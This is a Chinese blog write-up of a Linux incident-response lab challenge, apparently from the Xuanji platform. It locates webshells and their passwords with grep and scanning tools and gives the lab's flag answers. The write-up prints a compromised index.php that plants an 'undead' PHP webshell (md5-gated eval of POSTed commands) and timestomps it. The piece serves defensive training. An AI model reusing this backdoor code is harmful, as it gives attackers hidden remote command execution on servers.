【玄机】第一章应急响应-Linux入侵排查

最新推荐文章于 2024-10-29 19:36:21 发布

青青很OK

最新推荐文章于 2024-10-29 19:36:21 发布

阅读量623

点赞数 16

文章标签： linux android 网络安全 web安全安全 web

本文链接：https://blog.csdn.net/weixin_67997381/article/details/140589391

版权

题目：

1.web目录存在木马，请找到木马的密码提交
2.服务器疑似存在不死马，请找到不死马的密码提交
3.不死马是通过哪个文件生成的，请提交文件名
4.黑客留下了木马文件，请找出黑客的服务器ip提交
5.黑客留下了木马文件，请找出黑客服务器开启的监端口提交

1.web目录存在木马，请找到木马的密码提交

方法一：命令查询

在/var/www/html路径下，输入命令

find ./ -name "*.php" |xargs grep "eval("

在这里插入图片描述

方法二：工具查询

把/var/www/html下载下来，放沙箱中跑一下：

shellpub

在这里插入图片描述

或者用D盾跑一下：

在这里插入图片描述

查看一下内容：

在这里插入图片描述

flag1：flag{1}

2.服务器疑似存在不死马，请找到不死马的密码提交

方法一：命令查询

在/var/www/html路径下，输入命令：

find ./ -name "*.php" |xargs grep "eval("

在这里插入图片描述

然后MD5在线网站解码5d41402abc4b2a76b9719d911017c592：

在这里插入图片描述

方法二：工具查询

题目1使用沙箱跑的结果（上面的D盾也OK啦）：

在这里插入图片描述

挨着查看一下内容，确定是你啦！！

在这里插入图片描述

MD5解码和上面一样。

flag2:flag{hello}

3.不死马是通过哪个文件生成的，请提交文件名

方法一：命令查询

在/var/www/html路径下，输入命令

在这里插入图片描述

打开index.php，在后面发现了关键语句，确定目标！

在这里插入图片描述

方法二：工具查询

依旧是题目1使用沙箱跑的结果，沙箱解决一半问题！

在这里插入图片描述

查看index.php的内容，找亮点：

<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
        $path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
        Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
        Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>